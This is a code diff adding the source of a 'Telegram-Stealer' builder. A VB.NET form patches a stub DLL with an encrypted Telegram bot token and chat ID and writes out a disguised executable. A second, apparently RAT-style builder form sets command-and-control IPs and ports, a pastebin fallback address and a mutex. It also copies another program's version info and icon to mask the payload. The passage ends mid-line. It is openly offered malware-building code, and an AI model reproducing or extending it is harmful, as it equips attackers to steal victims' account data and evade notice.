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 + SUVORK5CYII= + + + \ No newline at end of file diff --git a/Telegram-Stealer/Form1.vb b/Telegram-Stealer/Form1.vb new file mode 100644 index 0000000..0879314 --- /dev/null +++ b/Telegram-Stealer/Form1.vb @@ -0,0 +1,92 @@ +Imports Mono.Cecil +Imports Mono.Cecil.Cil +Imports System.IO +Imports System +Imports System.Collections +Imports System.Collections.Generic +Imports System.ComponentModel +Imports System.Diagnostics +Imports System.Drawing +Imports System.Linq +Imports System.Runtime.CompilerServices +Imports System.Security.Cryptography +Imports System.Security.Cryptography.X509Certificates +Imports System.Text +Imports System.Windows.Forms +Imports Builder_WorldWind_Pro.Server.Algorithm +Public Class Form1 + 'https://t.me/clean_tools_net + Dim ic = Nothing + Dim randomString As String = "VIfxfqryUTyZUBGDCBAvbYVYIsexIM7Z" + Dim aes As Aes256 = New Aes256(randomString) + Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click + If Not File.Exists((Application.StartupPath & "\Stub.dll")) Then + Interaction.MsgBox("Stub not found", MsgBoxStyle.ApplicationModal, Nothing) + Else + Dim definition As AssemblyDefinition = AssemblyDefinition.ReadAssembly((Application.StartupPath & "\Stub.dll")) + Dim definition2 As ModuleDefinition + For Each definition2 In definition.Modules + Dim definition3 As TypeDefinition + For Each definition3 In definition2.Types + Dim definition4 As MethodDefinition + For Each definition4 In definition3.Methods + If (definition4.IsConstructor AndAlso definition4.HasBody) Then + Dim enumerator As IEnumerator(Of Instruction) + Try + enumerator = definition4.Body.Instructions.GetEnumerator + Do While enumerator.MoveNext + Dim current As Instruction = enumerator.Current + If ((current.OpCode.Code = Code.Ldstr) And (Not current.Operand Is Nothing)) Then + + Dim str As String = current.Operand.ToString + If (str = "[bot]") Then + current.Operand = aes.Encrypt(Me.TextBox1.Text) + Else + If (str = "[ID]") Then + current.Operand = aes.Encrypt(Me.TextBox2.Text) + Continue Do + End If + End If + End If + Loop + Finally + enumerator.Dispose() + End Try + End If + Next + + Next + Next + + Dim dialog As New SaveFileDialog With { _ + .FileName = ExeName.Text & Me.exe.Text, _ + .Filter = "EXE|*.exe" _ + } + If Me.Icon.Checked Then + Ico.InjectIcon(dialog.FileName, Me.ic) + End If + If (dialog.ShowDialog = DialogResult.OK) Then + definition.Write(dialog.FileName) + Interaction.MsgBox(dialog.FileName, MsgBoxStyle.ApplicationModal, "Done :)") + End If + dialog = Nothing + End If + End Sub + Private Sub Icon_CheckedChanged(sender As Object, e As EventArgs) Handles Icon.CheckedChanged + If Me.Icon.Checked Then + Dim dialog As New OpenFileDialog + dialog.Filter = "Icon|*.ico" + dialog.Title = "Choose Icon" + dialog.FileName = "" + If (dialog.ShowDialog = DialogResult.OK) Then + Me.ic = dialog.FileName + Me.PictureBox2.Image = Image.FromFile(Me.ic) + End If + Else + Me.PictureBox2.Image = Nothing + End If + End Sub + Private Sub LinkLabel1_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked + Process.Start("https://t.me/clean_tools_net") + End Sub +End Class diff --git a/Telegram-Stealer/FormBuilder.vb b/Telegram-Stealer/FormBuilder.vb new file mode 100644 index 0000000..909df4a --- /dev/null +++ b/Telegram-Stealer/FormBuilder.vb @@ -0,0 +1,1461 @@ +Imports dnlib.DotNet +Imports dnlib.DotNet.Emit +Imports Server +Imports Server.Algorithm +Imports Server.Helper +Imports Server.Properties +Imports System +Imports System.Collections +Imports System.Collections.Generic +Imports System.ComponentModel +Imports System.Diagnostics +Imports System.Drawing +Imports System.IO +Imports System.Linq +Imports System.Runtime.CompilerServices +Imports System.Security.Cryptography +Imports System.Security.Cryptography.X509Certificates +Imports System.Text +Imports System.Threading.Tasks +Imports System.Windows.Forms +Imports Toolbelt.Drawing +Imports Vestris.ResourceLib + +Namespace Server.Forms + Public Class FormBuilder + Inherits Form + ' Methods + Public Sub New() + Me.InitializeComponent + End Sub + + Private Sub BtnAddIP_Click(ByVal sender As Object, ByVal e As EventArgs) + Try + Using enumerator As IEnumerator = Me.listBoxIP.Items.GetEnumerator + Do While enumerator.MoveNext + Me.textIP.Text = Me.textIP.Text.Replace(" ", "") + If CStr(enumerator.Current).Equals(Me.textIP.Text) Then + Return + End If + Loop + End Using + Me.listBoxIP.Items.Add(Me.textIP.Text.Replace(" ", "")) + Me.textIP.Clear + Catch obj1 As Object + End Try + End Sub + + Private Sub BtnAddPort_Click(ByVal sender As Object, ByVal e As EventArgs) + Try + Convert.ToInt32(Me.textPort.Text.Trim) + Using enumerator As IEnumerator = Me.listBoxPort.Items.GetEnumerator + Do While enumerator.MoveNext + If CStr(enumerator.Current).Equals(Me.textPort.Text.Trim) Then + Return + End If + Loop + End Using + Me.listBoxPort.Items.Add(Me.textPort.Text.Trim) + Me.textPort.Clear + Catch obj1 As Object + End Try + End Sub + + Private Sub BtnAssembly_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs) + If Me.btnAssembly.Checked Then + Me.btnClone.Enabled = True + Me.txtProduct.Enabled = True + Me.txtDescription.Enabled = True + Me.txtCompany.Enabled = True + Me.txtCopyright.Enabled = True + Me.txtTrademarks.Enabled = True + Me.txtOriginalFilename.Enabled = True + Me.txtOriginalFilename.Enabled = True + Me.txtProductVersion.Enabled = True + Me.txtFileVersion.Enabled = True + Else + Me.btnClone.Enabled = False + Me.txtProduct.Enabled = False + Me.txtDescription.Enabled = False + Me.txtCompany.Enabled = False + Me.txtCopyright.Enabled = False + Me.txtTrademarks.Enabled = False + Me.txtOriginalFilename.Enabled = False + Me.txtOriginalFilename.Enabled = False + Me.txtProductVersion.Enabled = False + Me.txtFileVersion.Enabled = False + End If + End Sub + + d__9))> _ + Private Sub BtnBuild_Click(ByVal sender As Object, ByVal e As EventArgs) + Dim d__ As d__9 + d__.<>t__builder = AsyncVoidMethodBuilder.Create + d__.<>4__this = Me + d__.<>1__state = -1 + d__.<>t__builder.Start(Of d__9)(d__) + End Sub + + Private Sub BtnClone_Click(ByVal sender As Object, ByVal e As EventArgs) + Using dialog As OpenFileDialog = New OpenFileDialog + dialog.Filter = "Executable (*.exe)|*.exe" + If (dialog.ShowDialog = DialogResult.OK) Then + Dim versionInfo As FileVersionInfo = FileVersionInfo.GetVersionInfo(dialog.FileName) + Me.txtOriginalFilename.Text = If(versionInfo.InternalName <> Nothing , versionInfo.InternalName, String.Empty) + Me.txtDescription.Text = If(versionInfo.FileDescription <> Nothing , versionInfo.FileDescription, String.Empty) + Me.txtCompany.Text = If(versionInfo.CompanyName <> Nothing , versionInfo.CompanyName, String.Empty) + Me.txtProduct.Text = If(versionInfo.ProductName <> Nothing , versionInfo.ProductName, String.Empty) + Me.txtCopyright.Text = If(versionInfo.LegalCopyright <> Nothing , versionInfo.LegalCopyright, String.Empty) + Me.txtTrademarks.Text = If(versionInfo.LegalTrademarks <> Nothing , versionInfo.LegalTrademarks, String.Empty) + Dim fileMajorPart As Integer = versionInfo.FileMajorPart + Dim textArray1 As String() = New String() { versionInfo.FileMajorPart.ToString, ".", versionInfo.FileMinorPart.ToString, ".", versionInfo.FileBuildPart.ToString, ".", versionInfo.FilePrivatePart.ToString } + Me.txtFileVersion.Text = String.Concat(textArray1) + Dim textArray2 As String() = New String() { versionInfo.FileMajorPart.ToString, ".", versionInfo.FileMinorPart.ToString, ".", versionInfo.FileBuildPart.ToString, ".", versionInfo.FilePrivatePart.ToString } + Me.txtProductVersion.Text = String.Concat(textArray2) + End If + End Using + End Sub + + Private Sub BtnIcon_Click(ByVal sender As Object, ByVal e As EventArgs) + Using dialog As OpenFileDialog = New OpenFileDialog + dialog.Title = "Choose Icon" + dialog.Filter = "Icons Files(*.exe;*.ico;)|*.exe;*.ico" + dialog.Multiselect = False + If (dialog.ShowDialog = DialogResult.OK) Then + If dialog.FileName.ToLower.EndsWith(".exe") Then + Dim icon As String = Me.GetIcon(dialog.FileName) + Me.txtIcon.Text = icon + Me.picIcon.ImageLocation = icon + Else + Me.txtIcon.Text = dialog.FileName + Me.picIcon.ImageLocation = dialog.FileName + End If + End If + End Using + End Sub + + Private Sub BtnRemoveIP_Click(ByVal sender As Object, ByVal e As EventArgs) + If (Me.listBoxIP.SelectedItems.Count = 1) Then + Me.listBoxIP.Items.Remove(Me.listBoxIP.SelectedItem) + End If + End Sub + + Private Sub BtnRemovePort_Click(ByVal sender As Object, ByVal e As EventArgs) + If (Me.listBoxPort.SelectedItems.Count = 1) Then + Me.listBoxPort.Items.Remove(Me.listBoxPort.SelectedItem) + End If + End Sub + + Private Sub Builder_Load(ByVal sender As Object, ByVal e As EventArgs) + Me.comboBoxFolder.SelectedIndex = 0 + If (Settings.Default.IP.Length = 0) Then + Me.listBoxIP.Items.Add("127.0.0.1") + End If + If (Settings.Default.Pastebin.Length = 0) Then + Me.txtPastebin.Text = "https://pastebin.com/raw/s14cUU5G" + End If + Try + Dim separator As String() = New String() { "," } + Dim str As String + For Each str In Settings.Default.Ports.Split(separator, StringSplitOptions.None) + If Not String.IsNullOrWhiteSpace(str) Then + Me.listBoxPort.Items.Add(str.Trim) + End If + Next + Catch obj1 As Object + End Try + Try + Dim textArray2 As String() = New String() { "," } + Dim str2 As String + For Each str2 In Settings.Default.IP.Split(textArray2, StringSplitOptions.None) + If Not String.IsNullOrWhiteSpace(str2) Then + Me.listBoxIP.Items.Add(str2.Trim) + End If + Next + Catch obj2 As Object + End Try + If (Settings.Default.Mutex.Length = 0) Then + Me.txtMutex.Text = Me.getRandomCharacters + End If + End Sub + + Private Sub checkBox1_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs) + If Me.checkBox1.Checked Then + Me.checkBox1.Text = "ON" + Me.textFilename.Enabled = True + Me.comboBoxFolder.Enabled = True + Else + Me.checkBox1.Text = "OFF" + Me.textFilename.Enabled = False + Me.comboBoxFolder.Enabled = False + End If + End Sub + + Private Sub CheckBox2_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs) + If Me.chkPastebin.Checked Then + Me.txtPastebin.Enabled = True + Me.textIP.Enabled = False + Me.textPort.Enabled = False + Me.listBoxIP.Enabled = False + Me.listBoxPort.Enabled = False + Me.btnAddIP.Enabled = False + Me.btnAddPort.Enabled = False + Me.btnRemoveIP.Enabled = False + Me.btnRemovePort.Enabled = False + Else + Me.txtPastebin.Enabled = False + Me.textIP.Enabled = True + Me.textPort.Enabled = True + Me.listBoxIP.Enabled = True + Me.listBoxPort.Enabled = True + Me.btnAddIP.Enabled = True + Me.btnAddPort.Enabled = True + Me.btnRemoveIP.Enabled = True + Me.btnRemovePort.Enabled = True + End If + End Sub + + Private Sub ChkIcon_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs) + If Me.chkIcon.Checked Then + Me.txtIcon.Enabled = True + Me.btnIcon.Enabled = True + Else + Me.txtIcon.Enabled = False + Me.btnIcon.Enabled = False + End If + End Sub + + Private Sub chkObfu_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs) + End Sub + + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + If (disposing AndAlso (Not Me.components Is Nothing)) Then + Me.components.Dispose + End If + MyBase.Dispose(disposing) + End Sub + + Private Function GetIcon(ByVal path As String) As String + Try + Dim str As String = (Path.GetTempFileName & ".ico") + Using stream As FileStream = New FileStream(str, FileMode.Create) + IconExtractor.Extract1stIconTo(path, stream) + End Using + Return str + Catch obj1 As Object + End Try + Return "" + End Function + + Public Function getRandomCharacters() As String + Dim builder As New StringBuilder + Dim i As Integer = 1 + Do While (i <= New Random().Next(10, 20)) + Dim num2 As Integer = Me.random.Next(0, "口囗土士夂夊夕大女子宀寸小尢尸屮山巛工己巾干幺广廴廾弋弓彐彡彳二亠人儿入八冂冖冫几凵刀力勹匕匚匸十卜卩厂厶又一丨丶丿乙亅龠龍龜鼻齊黽鼎鼓鼠黃黍黑黹魚鳥鹵鹿麥麻馬骨高髟鬥鬯鬲鬼面革韋韭音頁風飛食首香金長門阜隶隹雨靑非見角言谷豆豕豸貝赤走足身車辛辰辵邑酉釆里竹米糸缶网羊羽老而耒耳聿肉臣自至臼舌舛舟艮色艸虍虫血行衣襾玄玉瓜瓦甘生用田疋疒癶白皮皿目矛矢石示禸禾穴立心戈戶手支攴文斗斤方无日曰月木欠止歹殳毋比毛氏气水火爪父爻爿片牙牛犬口囗土士夂夊夕大女子宀寸小尢尸屮山巛工己巾干幺广廴廾弋弓彐彡彳二亠人儿入八冂冖冫几凵刀力勹匕匚匸十卜卩厂厶又心戈戶手支攴文斗斤方无日曰月木欠止歹殳毋比毛氏气水火爪父爻爿片牙牛犬".Length) + 